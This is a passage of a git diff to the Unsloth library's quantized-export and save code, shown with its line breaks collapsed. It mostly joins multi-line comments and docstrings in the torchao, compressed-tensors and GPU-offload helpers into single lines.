models have no adapters to merge, so fall back to save_pretrained, mirroring the torchao- # and GGUF save paths.+ # Full-finetuned models have no adapters to merge, so fall back to save_pretrained, mirroring the torchao and GGUF save paths._is_peft = isinstance(model, PeftModel)if not _is_peft:if not is_main_process:@@ -6384,20 +5560,16 @@ def unsloth_generic_save_pretrained_merged("You can do it separately via `tokenizer.save_pretrained(...)`")- # Kaggle's working directory is ~20GB while /tmp on the same kernel is terabytes, so relative paths under- # /kaggle/working that do not fit move there. Absolute paths, hub pushes and non-Kaggle machines are- # untouched.+ # Kaggle's working directory is ~20GB while /tmp on the same kernel is terabytes, so relative paths under /kaggle/working that do not fit move there. Absolute paths, hub pushes and non-Kaggle machines are untouched.save_directory = _preflight_merge_disk(self,save_directory,save_method,push_to_hub = push_to_hub,state_dict = state_dict,- # unsloth_generic_save writes a supplied dictionary rather than the resident model when there is no- # adapter, and it alone runs merge_and_overwrite_lora when there is one.+ # unsloth_generic_save writes a supplied dictionary rather than the resident model when there is no adapter, and it alone runs merge_and_overwrite_lora when there is one.forwards_state_dict = True,- # And it is the writer that runs `merge_and_overwrite_lora` when there IS one, which no other entrypoint- # here does.+ # And it is the writer that runs merge_and_overwrite_lora when there IS one, which no other entrypoint here does.writer_runs_merge_guard = True,)@@ -6626,12 +5798,10 @@ def _unsloth_save_torchao_with_given_config(push_to_hub: bool = False,token: Optional[Union[str, bool]] = None,):- """Quantizes the model with torchao and saves a torchao quantized checkpoint+ """Quantize the model with torchao and save a torchao quantized checkpoint.- Args- `save_directory`: local folder path or huggingface hub ID when `push_to_hub` is set to True, e.g. `my_model`- `torchao_config` (TorchAOBaseConfig): configuration for torchao quantization, full list: https://docs.pytorch.org/ao/main/api_ref_quantization.html#inference-apis-for-quantize- `push_to_hub` (bool): whether to push the checkpoint to huggingface hub or save locally+ `save_directory`: local folder, or a Hugging Face hub id when `push_to_hub` is True.+ `torchao_config` (TorchAOBaseConfig): https://docs.pytorch.org/ao/main/api_ref_quantization.html#inference-apis-for-quantize"""if push_to_hub:@@ -6642,8 +5812,8 @@ def _unsloth_save_torchao_with_given_config(), "Unsloth: Please specify a torchao_config for post-training quantization!"arguments = dict(locals())- arguments["push_to_hub"] = False # We save ourselves- arguments["save_method"] = "merged_16bit" # Must be 16bit+ arguments["push_to_hub"] = False+ arguments["save_method"] = "merged_16bit"del arguments["torchao_config"]if not isinstance(model, PeftModelForCausalLM) and not isinstance(model, PeftModel):@@ -6692,10 +5862,7 @@ def _unsloth_save_torchao_with_given_config(if hasattr(torch, "xpu") and torch.xpu.is_available():torch.xpu.empty_cache()- # The original stays offloaded until the quantized copy is saved AND released, else both are resident and- # the restore OOMs.- # The original stays offloaded until the quantized copy is saved AND released, else both are resident at- # once and the restore OOMs.+ # The original stays offloaded until the quantized copy is saved AND released, else both are resident at once and the restore OOMs.try:quantized_model = auto_model.from_pretrained(save_directory,@@ -6722,12 +5889,10 @@ def _unsloth_save_torchao_with_given_config(tokenizer.save_pretrained(torchao_save_directory, token = token)finally:- # del here, not at the end of the try: if save_pretrained raises, the copy would still be resident- # while the original is restored.+ # del here, not at the end of the try: if save_pretrained raises, the copy would still be resident while the original is restored.quantized_model = Nonedel quantized_model- # A failed save leaves a live traceback whose frames hold the copy, so dropping the local alone does- # not free its VRAM.+ # A failed save leaves a live traceback whose frames hold the copy, so dropping the local alone does not free its VRAM._exc = sys.exc_info()[1]if _exc is not None:traceback.clear_frames(_exc.__traceback__)@@ -6756,7 +5921,6 @@ def _scheme_is_available(scheme):return Truereturn scheme in presetsexcept Exception:- # If we cannot introspect, let llm-compressor validate the scheme itself.return True@@ -6790,12 +5954,7 @@ _ACCELERATE_MOVE_GUARDS = _accelerate_move_guards()def _accelerate_dispatch_root(model):- """The module that really owns the accelerate dispatch.-- A PEFT wrapper only proxies ``_hf_hook``, so ``delattr`` fails and- ``remove_hook_from_submodules`` raises before removing anything; ``hf_device_map``- keys are relative to the inner root too. Walks real children, never ``__getattr__``.- """+ """The module that really owns the accelerate dispatch. A PEFT wrapper only proxies ``_hf_hook``, so ``delattr`` fails and ``remove_hook_from_submodules`` raises before removing anything, and ``hf_device_map`` keys are relative to the inner root. Walks real children, never ``__getattr__``."""node, seen = model, set()while id(node) not in seen:seen.add(id(node))@@ -6817,27 +5976,18 @@ def _accelerate_dispatch_root(model):def _snapshot_dispatch_state(root):- """Hooks, tensor placements and instance forwards, so the dispatch can be replayed.-- Re-deriving it with ``dispatch_model`` is not equivalent: PEFT reparents each- targeted ``Linear`` after transformers dispatched, so accelerate hooks modules that- never had any (measured: 395 -> 1379) and the logits shift enough to reorder top-5.- """+ """Hooks, tensor placements and instance forwards, so the dispatch can be replayed. Re-deriving it with ``dispatch_model`` is not equivalent: PEFT reparents each targeted ``Linear`` after transformers dispatched, so accelerate hooks modules that never had any (measured: 395 to 1379) and the logits shift enough to reorder top-5."""hooks = [(name, mod.__dict__["_hf_hook"])for name, mod in root.named_modules()if "_hf_hook" in mod.__dict__]- # remove_duplicate=False: the default hides one half of every tied pair, exactly the half that needs re-- # tying below.+ # remove_duplicate=False: the default hides one half of every tied pair, exactly the half that needs re-tying below.named = list(root.named_parameters(remove_duplicate = False)) + list(root.named_buffers(remove_duplicate = False))places = {name: tensor.device for name, tensor in named}- # Tied weights share one storage, but the CPU round trip repoints every tensor while tied_params_map is- # keyed on the old pointer, so replaying hooks alone yields independent copies: double VRAM and divergent- # updates. Skip meta tensors, since offloaded parameters all have pointer 0 and would collapse into one- # fake tied group.+ # Tied weights share one storage, but the CPU round trip repoints every tensor while tied_params_map is keyed on the old pointer, so replaying hooks alone yields independent copies: double VRAM and divergent updates. Skip meta tensors, since offloaded parameters all have pointer 0 and would collapse into one fake tied group.groups = {}for name, tensor in named:if tensor.device.type == "meta":@@ -6846,17 +5996,14 @@ def _snapshot_dispatch_state(root):if ptr:groups.setdefault(ptr, []).append(name)ties = [names for names in groups.values() if len(names) > 1]- # Removing a hook restores forward = _old_forward, captured before unsloth patched the module, so a- # remove/re-add permanently drops every fused kernel installed after the dispatch (measured on all 28- # MLPs) and the to/cuda move guards. Record those too.+ # Removing a hook restores forward = _old_forward, captured before unsloth patched the module, so a remove/re-add permanently drops every fused kernel installed after the dispatch (measured on all 28 MLPs) and the to/cuda move guards. Record those too.attrs = ("forward", "_old_forward") + tuple(_ACCELERATE_MOVE_GUARDS)saved_attrs = {name: {a: mod.__dict__[a] for a in attrs if a in mod.__dict__}for name, mod in root.named_modules()if any(a in mod.__dict__ for a in attrs)}- # Re-adding a hook runs init_hook -> set_module_tensor_to_device, building a fresh Parameter and dropping- # .grad, so snapshot the gradients and reattach on restore.+ # Re-adding a hook runs init_hook to set_module_tensor_to_device, building a fresh Parameter and dropping .grad, so snapshot the gradients and reattach on restore.grads = {name: getattr(tensor, "grad", None)for name, tensor in root.named_parameters(remove_duplicate = False)@@ -6866,12 +6013,7 @@ def _snapshot_dispatch_state(root):def _drop_accelerator_tied_param_cache(snapshot) -> None:- """Drop the GPU tensors accelerate caches in each hook's ``tied_params_map``.-- Holding the hooks across the offload pins a GPU copy of the tied embedding (0.31 GB- of 1.24 GB here). The entries are keyed on the pre-move ``data_ptr`` so they are- stale anyway, and re-attaching repopulates them.- """+ """Drop the GPU tensors accelerate caches in each hook's ``tied_params_map``. Holding the hooks across the offload pins a GPU copy of the tied embedding (0.31 GB of 1.24 GB here). The entries are keyed on the pre-move ``data_ptr`` so they are stale anyway, and re-attaching repopulates them."""for _name, hook in snapshot[0]:cache = getattr(hook, "tied_params_map", None)if not cache:@@ -6929,16 +6071,14 @@ def _restore_dispatch_state(root, snapshot) -> None:for name, hook in hooks:add_hook_to_module(root.get_submodule(name) if name else root, hook)- # Re-adding a hook rewraps whatever _old_forward now holds, so put the exact callables back, _old_forward- # first.+ # Re-adding a hook rewraps whatever _old_forward now holds, so put the exact callables back, _old_forward first.for name, values in saved_attrs.items():mod = root.get_submodule(name) if name else rootfor attr in ("_old_forward", "forward", *_ACCELERATE_MOVE_GUARDS):if attr in values:mod.__dict__[attr] = values[attr]- # init_hook only re-places tensors the hooked module owns, so anything added after the dispatch (the LoRA- # adapters) is still on CPU.+ # init_hook only re-places tensors the hooked module owns, so anything added after the dispatch (the LoRA adapters) is still on CPU.for mod_name, mod in root.named_modules():for attr in ("_parameters", "_buffers"):store = getattr(mod, attr, None)@@ -6957,7 +6097,6 @@ def _restore_dispatch_state(root, snapshot) -> None:else:tensor.data = tensor.data.to(want)- # Reattach the gradients init_hook discarded, on their weight's device.for name, grad in grads.items():tensor = _lookup_tensor(root, name)if tensor is not None and tensor.grad is None and tensor.shape == grad.shape:@@ -6970,31 +6109,13 @@ def _restore_dispatch_state(root, snapshot) -> None:continuefor follower in names[1:]:_share_tensor(root, follower, leader)- # init_hook refilled tied_params_map with the pre-retie tensors, now unreferenced by the model but still- # pinned by the map.+ # init_hook refilled tied_params_map with the pre-retie tensors, now unreferenced by the model but still pinned by the map.if ties:_drop_accelerator_tied_param_cache(snapshot)def _offload_model_for_quantize_subprocess(model):- """Best-effort: move the model's weights off the GPU before the quantized export- loads its own copy from disk, so the GPUs need not hold both at once. Returns an- opaque token for ``_restore_model_after_quantize_subprocess`` (None if nothing moved).-- Two shapes are handled:- * single-device CUDA/XPU model -> ``.to("cpu")``, restored with ``.to(device)``;- * accelerate-dispatched model (a multi-GPU ``device_map`` shard, e.g. the Unsloth- multi-GPU export load) -> hooks removed and moved to CPU, restored by replaying- the dispatch. A plain ``.to("cpu")`` is invalid here, which is why the old- single-device-only move left every GPU holding a full copy. A map spilling to- CPU is still released, but disk/meta targets are left alone: accelerate keeps- those parameters off the model, so moving would materialize the whole checkpoint.-- Quantized (bnb) models are attempted too rather than skipped: Unsloth exports load- 4-bit by DEFAULT, so skipping them left a shard on every GPU. transformers refuses- ``.to()`` for some bitsandbytes builds and that refusal raises before anything moves,- so the failure path restores the model and returns None, i.e. the old behaviour.- """+ """Best-effort: move the model's weights off the GPU before the quantized export loads its own copy from disk, so the GPUs need not hold both. Returns an opaque token for ``_restore_model_after_quantize_subprocess`` (None if nothing moved). A single-device CUDA/XPU model goes ``.to("cpu")`` and is restored with ``.to(device)``. An accelerate-dispatched model (a multi-GPU ``device_map`` shard) has its hooks removed and is moved to CPU, restored by replaying the dispatch: a plain ``.to("cpu")`` is invalid there, which is why the old single-device-only move left every GPU holding a full copy. A map spilling to CPU is still released, but disk/meta targets are left alone, since accelerate keeps those parameters off the model and moving would materialize the whole checkpoint. Quantized (bnb) models are attempted too rather than skipped, because Unsloth exports load 4-bit by DEFAULT and skipping them left a shard on every GPU. transformers refuses ``.to()`` for some bitsandbytes builds and that refusal raises before anything moves, so the failure path restores the model and returns None, the old behaviour."""try:_has_xpu = hasattr(torch, "xpu") and torch.xpu.is_available()if not ((torch.cuda.is_available() or _has_xpu) and hasattr(model, "parameters")):@@ -7002,8 +6123,7 @@ def _offload_model_for_quantize_subprocess(model):device_map = getattr(model, "hf_device_map", None)if device_map:targets = {str(v).lower() for v in device_map.values()}- # A cpu spill is safe to move, being in host RAM; disk/meta is not, since those parameters are off- # the model and .to("cpu") would materialize the whole checkpoint.+ # A cpu spill is safe to move, being in host RAM; disk/meta is not, since those parameters are off the model and .to("cpu") would materialize the whole checkpoint.if not all(t.isdigit() or t.startswith(("cuda", "xpu")) or t == "cpu" for t in targets):return Noneif not any(t.isdigit() or t.startswith(("cuda", "xpu")) for t in targets):@@ -7015,9 +6135,7 @@ def _offload_model_for_quantize_subprocess(model):try:setattr(root, _DISPATCH_SNAPSHOT_ATTR, _snapshot_dispatch_state(root))except Exception as snap_exc:- # A silent `return None` is indistinguishable from "nothing to move", which hides a real bug- # behind a merely slower export.- # Restore will fall back to re-deriving from the device_map.+ # A silent `return None` is indistinguishable from "nothing to move", which hides a real bug behind a merely slower export. Restore will fall back to re-deriving from the device_map.logger.warning_once(f"Unsloth: could not snapshot the accelerate dispatch "f"({type(snap_exc).__name__}: {snap_exc}); re-dispatching on restore."@@ -7026,8 +6144,7 @@ def _offload_model_for_quantize_subprocess(model):try:model.to("cpu")except Exception:- # The move failed after the hooks came off, so re-dispatch and leave the model usable rather- # than hookless and half-moved across CPU/GPUs.+ # The move failed after the hooks came off, so re-dispatch and leave the model usable rather than hookless and half-moved across CPU/GPUs._restore_model_after_quantize_subprocess(model, ("dispatch", dict(device_map)))return Nonesnapshot = getattr(root, _DISPATCH_SNAPSHOT_ATTR, None)@@ -7044,8 +6161,7 @@ def _offload_model_for_quantize_subprocess(model):return Nonereturn ("device", device)except Exception as exc:- # A silent `return None` is indistinguishable from "nothing to move", hiding a real bug behind a merely- # slower export.+ # A silent `return None` is indistinguishable from "nothing to move", hiding a real bug behind a merely slower export.logger.warning_once(f"Unsloth: could not free the model's accelerator memory before the quantized "f"export ({type(exc).__name__}: {exc}); continuing with the model resident."@@ -7068,8 +6184,7 @@ def _restore_model_after_quantize_subprocess(model, restore_token) -> None:else:from accelerate import dispatch_model- # skip_keys matters: without it accelerate moves every forward kwarg to the executing device,- # wrong for device-invariant cache tensors.+ # skip_keys matters: without it accelerate moves every forward kwarg to the executing device, wrong for device-invariant cache tensors.dispatch_model(root,device_map = value,@@ -7099,37 +6214,25 @@ def _unsloth_save_compressed_tensors(max_seq_length: int = 2048,**merge_kwargs,):- """Export an FP8/FP4 compressed-tensors checkpoint via llm-compressor.-- Mirrors the torchao PTQ path: LoRA is first merged into the base model at 16bit and- written to `save_directory` (which is kept). The merged checkpoint is then quantized with- llm-compressor's `QuantizationModifier(scheme)` in a separate process (so Unsloth's- transformers monkey-patches do not interfere), and written to the sibling directory- `save_directory + "-" + suffix`. The result is intended for vLLM inference.- """+ """Export an FP8/FP4 compressed-tensors checkpoint via llm-compressor. Mirrors the torchao PTQ path: LoRA is first merged into the base model at 16bit and written to `save_directory` (which is kept), then quantized with llm-compressor's `QuantizationModifier(scheme)` in a separate process, so Unsloth's transformers monkey-patches do not interfere, and written to `save_directory + "-" + suffix`. The result is intended for vLLM inference."""import tempfileif isinstance(tokenizer, (PreTrainedTokenizerBase, ProcessorMixin)):tokenizer = patch_saving_functions(tokenizer)- # For the hub push and/or a gated calibration dataset, as in the LoRA GGUF converter.token = _clean_save_token(token)token_is_explicit = token is not Noneif token is None or token is True:token = get_token()- # Only the main process installs deps, merges, quantizes and uploads, mirroring the non-PEFT save path;- # other ranks return at once rather than race on dirs or run pip installs.+ # Only the main process installs deps, merges, quantizes and uploads, mirroring the non-PEFT save path; other ranks return at once rather than race on dirs or run pip installs.if not is_main_process:return None- # Prepare the quantization runtime BEFORE merging, so an unusable config fails fast instead of writing a- # full 16bit checkpoint first. Under the llm-compressor-main shadow the subprocess validates itself, so- # the workspace install / ceiling / scheme checks are skipped.+ # Prepare the quantization runtime BEFORE merging, so an unusable config fails fast instead of writing a full 16bit checkpoint first. Under the llm-compressor-main shadow the subprocess validates itself, so the workspace install / ceiling / scheme checks are skipped._shadow_pythonpath = _compressed_quantize_pythonpath()if _shadow_pythonpath is None:install_llm_compressor()- # llm-compressor cannot run under a newer transformers than its ceiling: the subprocess dies on a- # cryptic TORCH_INIT_FUNCTIONS ImportError only AFTER the costly merge.+ # llm-compressor cannot run under a newer transformers than its ceiling: the subprocess dies on a cryptic TORCH_INIT_FUNCTIONS ImportError only AFTER the costly merge._exceeds, _tf_ver = _transformers_exceeds_llm_compressor_ceiling()if _exceeds:raise RuntimeError(@@ -7151,8 +6254,7 @@ def _unsloth_save_compressed_tensors("Use save_method in {fp8, mxfp4, nvfp4}, or upgrade transformers + llm-compressor.")- # Pick the local working dir: on a hub push save_directory is a repo id, so merge and quantize inside a- # temp dir rather than writing ./<repo_id> into the cwd.+ # Pick the local working dir: on a hub push save_directory is a repo id, so merge and quantize inside a temp dir rather than writing ./<repo_id> into the cwd.repo_id, work_tmp, calib_tmp, model_restore = None, None, None, Noneif push_to_hub:repo_id = os.fspath(save_directory)@@ -7163,14 +6265,10 @@ def _unsloth_save_compressed_tensors(local_dir = os.fspath(save_directory)local_dir = local_dir.rstrip("/\\") or local_dir- # Wrap the body so the isolated temp dirs are always cleaned up, even when the merge, quantization,- # validation, or hub upload raises.+ # Wrap the body so the isolated temp dirs are always cleaned up, even when the merge, quantization, validation, or hub upload raises.api = Nonetry:- # Validate Hub access up front, so a bad token or denied repo fails before the expensive merge and- # quantization; create_repo is idempotent.- # Validate Hub access up front (a bad token / denied repo should fail before the expensive merge and- # quantization, matching the normal push path). create_repo is idempotent.+ # Validate Hub access up front, so a bad token or denied repo fails before the expensive merge and quantization; create_repo is idempotent.if push_to_hub:from huggingface_hub import HfApiapi = HfApi(token = token)@@ -7181,10 +6279,7 @@ def _unsloth_save_compressed_tensors(exist_ok = True,)- # Merge to 16bit at local_dir via unsloth_generic_save, so adapters are merged and full-finetuned- # models written in 16bit alike. The subprocess reloads this staging checkpoint with default weight- # filenames, so never write variant-named shards here; the user's variant goes on the final compressed- # checkpoint.+ # Merge to 16bit at local_dir via unsloth_generic_save, so adapters are merged and full-finetuned models written in 16bit alike. The subprocess reloads this staging checkpoint with default weight filenames, so never write variant-named shards here; the user's variant goes on the final compressed checkpoint.variant = merge_kwargs.pop("variant", None)print(f"Unsloth: Merging to 16bit before {scheme} quantization...")merge_args = dict(merge_kwargs)@@ -7201,9 +6296,7 @@ def _unsloth_save_compressed_tensors()unsloth_generic_save(**merge_args)- # Detect a VLM from the in-memory config: a vision_config or a vision-named architecture. A bare- # *ForConditionalGeneration also matches text seq2seq (T5/BART/Whisper), so it does not count on its- # own.+ # Detect a VLM from the in-memory config: a vision_config or a vision-named architecture. A bare *ForConditionalGeneration also matches text seq2seq (T5/BART/Whisper), so it does not count on its own.is_vlm = Falseif hasattr(model, "config"):archs = getattr(model.config, "architectures", None) or []@@ -7215,14 +6308,11 @@ def _unsloth_save_compressed_tensors("Unsloth: FP8/FP4 compressed export for vision / multimodal models is ""experimental; vision-tower layers may be affected.")- # trust_remote_code must reflect the approved load decision, not the config's static auto_map, so a- # built-in-loadable model carrying auto_map cannot run unvetted code in the subprocess. Model and- # tokenizer trust stay separate, as on the torchao path.+ # trust_remote_code must reflect the approved load decision, not the config's static auto_map, so a built-in-loadable model carrying auto_map cannot run unvetted code in the subprocess. Model and tokenizer trust stay separate, as on the torchao path.model_trust = _loaded_via_remote_code(model)tok_trust = _loaded_via_remote_code(tokenizer)- # Marshal the calibration dataset for the subprocess: None means the ultrachat default, a str/PathLike- # is a local save_to_disk dir if it exists else a Hub id, a Dataset goes to temp.+ # Marshal the calibration dataset for the subprocess: None means the ultrachat default, a str/PathLike is a local save_to_disk dir if it exists else a Hub id, a Dataset goes to temp.calib_kind, calib_value = "none", ""if needs_calibration and calibration_dataset is not None:if isinstance(calibration_dataset, (str, os.PathLike)):@@ -7231,10 +6321,7 @@ def _unsloth_save_compressed_tensors(elif hasattr(calibration_dataset, "save_to_disk"):# Only persist the samples needed, so multi-GB training sets are not fully copied.ds_to_save = calibration_dataset- # A DatasetDict's len() is the split count, not rows, so pick one split first or every split- # is saved to the temp dir.- # A DatasetDict's len() is the split count, not rows; pick one split first so the row subsample- # below applies and we do not save every split to the temp dir.+ # A DatasetDict's len() is the split count, not rows, so pick one split first or the row subsample below misfires and every split is saved to the temp dir.try:from datasets import DatasetDictif isinstance(ds_to_save, DatasetDict):@@ -7269,9 +6356,7 @@ def _unsloth_save_compressed_tensors(f"Unsloth: scheme '{scheme}' is data-free; ignoring calibration_dataset.")- # Quantize in a separate process: importing Unsloth patches transformers attention, which breaks the- # forward llm-compressor runs for calibration. Invoke the converter by file path, not `-m`, so the- # subprocess stays unpatched.+ # Quantize in a separate process: importing Unsloth patches transformers attention, which breaks the forward llm-compressor runs for calibration. Invoke the converter by file path, not `-m`, so the subprocess stays unpatched.out_dir = local_dir + "-" + suffixrunner = os.path.join(os.path.dirname(os.path.abspath(__file__)), "_compressed_quantize.py")cmd = [@@ -7303,8 +6388,7 @@ def _unsloth_save_compressed_tensors(if variant:cmd += ["--variant", variant]- # Free the in-memory model's CUDA memory before the subprocess loads its own copy, so the GPUs need- # not hold both. Best-effort, restored in finally.+ # Free the in-memory model's CUDA memory before the subprocess loads its own copy, so the GPUs need not hold both. Best-effort, restored in finally.model_restore = _offload_model_for_quantize_subprocess(model)for _ in range(3):gc.collect()@@ -7315,9 +6399,7 @@ def _unsloth_save_compressed_tensors(env = os.environ.copy()_apply_token_to_child_env(env, token, explicit = token_is_explicit)- # Clean PYTHONPATH means shadow only: torch still comes from site-packages while transformers 5.x and- # llm-compressor main come from the shadow, and dropping the inherited PYTHONPATH removes any parent- # transformers sidecar.+ # Clean PYTHONPATH means shadow only: torch still comes from site-packages while transformers 5.x and llm-compressor main come from the shadow, and dropping the inherited PYTHONPATH removes any parent transformers sidecar.if _shadow_pythonpath is not None:env["PYTHONPATH"] = _shadow_pythonpath@@ -7344,10 +6426,7 @@ def _unsloth_save_compressed_tensors(f"Unsloth: {scheme} export failed - no quantization_config written to {cfg_path}")- # Optional hub upload of the compressed artifact, not the intermediate 16bit one; the repo was created- # and validated up front.- # 8) Optional hub upload of the compressed artifact (not the intermediate 16bit one). The repo was- # already created/validated up front, so just upload here.+ # Optional hub upload of the compressed artifact, not the intermediate 16bit one; the repo was created and validated up front.if push_to_hub:print(f"Unsloth: Uploading {scheme} checkpoint to '{repo_id}' ...")api.upload_folder(@@ -7359,7 +6438,6 @@ def _unsloth_save_compressed_tensors(create_pr = merge_kwargs.get("create_pr", False),revision = merge_kwargs.get("revision", None),)- # Attach datasets metadata to the pushed repo, like the normal merged push path.datasets = merge_kwargs.get("datasets", None)if datasets:try:@@ -7396,12 +6474,7 @@ def _unsloth_save_torchao(is_main_process: bool = True,**merge_kwargs,):- """Export a device-agnostic torchao FP8 / INT8 "portable" checkpoint (no NVIDIA GPU needed).-- Merges LoRA to 16bit in a staging dir, then applies torchao weight-only quantization via- `TorchAoConfig` into `save_directory + "-" + suffix`. No calibration, subprocess, or CUDA.- `kind` is "fp8" (safetensors) or "int8" (.bin; torchao only whitelists float8 for safetensors).- """+ """Export a device-agnostic torchao FP8 / INT8 "portable" checkpoint (no NVIDIA GPU needed). Merges LoRA to 16bit in a staging dir, then applies torchao weight-only quantization via `TorchAoConfig` into `save_directory + "-" + suffix`. No calibration, subprocess, or CUDA. `kind` is "fp8" (safetensors) or "int8" (.bin; torchao only whitelists float8 for safetensors)."""import tempfileif isinstance(tokenizer, (PreTrainedTokenizerBase, ProcessorMixin)):@@ -7409,7 +6482,6 @@ def _unsloth_save_torchao(if token is None:token = get_token()- # Only the main process merges, quantizes and uploads; other ranks return at once.if not is_main_process:return None@@ -7430,9 +6502,7 @@ def _unsloth_save_torchao(else:raise RuntimeError(f"Unsloth: unknown torchao export kind '{kind}' (expected fp8/int8).")- # Always merge into an isolated temp staging dir, never save_directory, so a co-selected 16-bit export- # there is not overwritten. The torchao output is the sibling "<save_directory>-<suffix>", or the repo id- # on a hub push.+ # Always merge into an isolated temp staging dir, never save_directory, so a co-selected 16-bit export there is not overwritten. The torchao output is the sibling "<save_directory>-<suffix>", or the repo id on a hub push.repo_id, work_tmp, model_restore = None, None, Nonework_tmp = tempfile.mkdtemp(prefix = "unsloth-torchao-")if push_to_hub:@@ -7456,8 +6526,7 @@ def _unsloth_save_torchao(exist_ok = True,)- # Merge to 16bit at a staging dir, LoRA and base alike. The reload reads default weight filenames, so- # never write variant-named shards here.+ # Merge to 16bit at a staging dir, LoRA and base alike. The reload reads default weight filenames, so never write variant-named shards here.merge_kwargs.pop("variant", None)print(f"Unsloth: Merging to 16bit before torchao {kind} quantization...")merge_args = dict(merge_kwargs)@@ -7474,21 +6543,17 @@ def _unsloth_save_torchao()unsloth_generic_save(**merge_args)- # Detect VLM and reload class: a bare *ForConditionalGeneration also matches text seq2seq, so key off- # vision_config or a vision-named architecture only.+ # Detect VLM and reload class: a bare *ForConditionalGeneration also matches text seq2seq, so key off vision_config or a vision-named architecture only.is_vlm = Falseif hasattr(model, "config"):archs = getattr(model.config, "architectures", None) or []is_vlm = hasattr(model.config, "vision_config") or any(x.endswith("ForVisionText2Text") for x in archs)- # trust_remote_code must reflect the approved load decision, not the staged config's auto_map, which- # an attacker can set on a built-in-loadable model to run unvetted code past the gate.+ # trust_remote_code must reflect the approved load decision, not the staged config's auto_map, which an attacker can set on a built-in-loadable model to run unvetted code past the gate.model_trust = _loaded_via_remote_code(model)tok_trust = _loaded_via_remote_code(tokenizer)- # Reload with the class matching the checkpoint: an image-text VLM class (with a fallback for- # Transformers lacking AutoModelForImageTextToText), the model's own class for encoder-decoder- # seq2seq, otherwise causal-LM.+ # Reload with the class matching the checkpoint: an image-text VLM class (with a fallback for Transformers lacking AutoModelForImageTextToText), the model's own class for encoder-decoder seq2seq, otherwise causal-LM.if is_vlm:try:from transformers import AutoModelForImageTextToText as _reload_model@@ -7509,9 +6574,7 @@ def _unsloth_save_torchao(auto_model = AutoModelForCausalLMauto_processor = AutoProcessor if is_vlm else AutoTokenizer- # Free the in-memory model's accelerator memory before reloading from disk, else it sits beside the- # copy and OOMs a device that fit the model once. Covers CUDA, XPU and multi-GPU dispatched shards,- # which a plain .to("cpu") cannot move.+ # Free the in-memory model's accelerator memory before reloading from disk, else it sits beside the copy and OOMs a device that fit the model once. Covers CUDA, XPU and multi-GPU dispatched shards, which a plain .to("cpu") cannot move._has_xpu = hasattr(torch, "xpu") and torch.xpu.is_available()model_restore = _offload_model_for_quantize_subprocess(model)for _ in range(3):@@ -7521,8 +6584,7 @@ def _unsloth_save_torchao(if _has_xpu:torch.xpu.empty_cache()- # Reload the staged 16bit checkpoint with torchao applied: bfloat16 is required, and device_map="auto"- # falls back to CPU, so this works on any hardware.+ # Reload the staged 16bit checkpoint with torchao applied: bfloat16 is required, and device_map="auto" falls back to CPU, so this works on any hardware.print(f"Unsloth: Quantizing the merged model to torchao {kind}...")dtype_kw = {"torch_dtype": torch.bfloat16} if HAS_TORCH_DTYPE else {"dtype": torch.bfloat16}quantized_model = auto_model.from_pretrained(@@ -7553,7 +6615,6 @@ def _unsloth_save_torchao(f"{cfg_path}")- # Optional hub upload of the quantized artifact; the temp staging is cleaned in finally.if push_to_hub:print(f"Unsloth: Uploading torchao {kind} checkpoint to '{repo_id}' ...")api.upload_folder(@@ -7612,26 +6673,10 @@ def unsloth_save_pretrained_torchao(push_to_hub: bool = False,token: Optional[Union[str, bool]] = None,):- """Saves a torchao quantized model checkpoint.-- This function handles two mutually exclusive workflows:-- 1. **QAT (Quantization-Aware Training)**: If the model was trained with `qat_scheme`- parameter, do NOT pass `torchao_config`. The function will convert the QAT- fake-quantized weights to real quantized weights and save directly.-- 2. **PTQ (Post-Training Quantization)**: If you want to apply quantization to a- regular model, pass a `torchao_config`. The model must NOT have been trained- with `qat_scheme`.-- Args:- `save_directory`: local folder path or huggingface hub ID when `push_to_hub` is True- `tokenizer`: the tokenizer to save alongside the model- `torchao_config` (TorchAOBaseConfig): configuration for torchao quantization.- Required for PTQ, must be None for QAT models.- Options: https://docs.pytorch.org/ao/main/api_ref_quantization.html#inference-apis-for-quantize- `push_to_hub` (bool): whether to push to huggingface hub or save locally- `token`: HuggingFace token for pushing to hub+ """Save a torchao quantized model checkpoint. Two mutually exclusive workflows: a model trained with `qat_scheme` must NOT be given a `torchao_config` and has its fake-quantized weights converted to real quantized ones; any other model must be given one, and is quantized here.++ `save_directory`: local folder, or a hub id when `push_to_hub` is True.+ `torchao_config` (TorchAOBaseConfig): required for PTQ, None for QAT. https://docs.pytorch.org/ao/main/api_ref_quantization.html#inference-apis-for-quantize"""if isinstance(tokenizer, (PreTrainedTokenizerBase, ProcessorMixin)):tokenizer = patch_saving_functions(tokenizer)@@ -7642,7 +6687,6 @@ def unsloth_save_pretrained_torchao(has_qat_config = hasattr(self, "_torchao_config") and self._torchao_config is not Noneif torchao_config is not None:- # PTQ path: the user provided a config, so the model must NOT have a QAT config unless PEFT.assert not has_qat_config, ("Unsloth: You passed `torchao_config` but this model was trained with `qat_scheme`. ""For QAT models, do not pass `torchao_config` - the quantization config is already "@@ -7657,7 +6701,6 @@ def unsloth_save_pretrained_torchao(token = token,)else:- # QAT path: no config provided, so the model must have a QAT config.assert has_qat_config, ("Unsloth: No `torchao_config` provided and model was not trained with `qat_scheme`. ""Either train with `qat_scheme` parameter, or provide a `torchao_config` for "diff --git a/unsloth/tokenizer_utils.py b/unsloth/tokenizer_utils.pyindex 9b43470535c..fd69109fe84 100644--- a/unsloth/tokenizer_utils.py+++ b/unsloth/tokenizer_utils.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.@@ -106,10 +103,7 @@ def _is_gemma4_config(config):def _is_gemma4_tokenizer(tokenizer):- """processor_class = Gemma4Processor, usually only in init_kwargs.-- The class is GemmaTokenizer, so a class-name check never fires.- """+ """processor_class = Gemma4Processor, usually only in init_kwargs. The class is GemmaTokenizer, so a class-name check never fires."""for obj in _tokenizer_objects(tokenizer):processor_class = getattr(obj, "processor_class", None)if processor_class is None:@@ -133,10 +127,7 @@ def _chat_template_emits_bos(tokenizer):def _tokenizer_auto_adds_bos(tokenizer):- """Does this tokenizer already emit <bos>?-- Not add_bos_token: google/gemma-4-E2B reports False and still prepends.- """+ """Does this tokenizer already emit <bos>? Not add_bos_token: google/gemma-4-E2B reports False and still prepends."""bos_token_id = getattr(tokenizer, 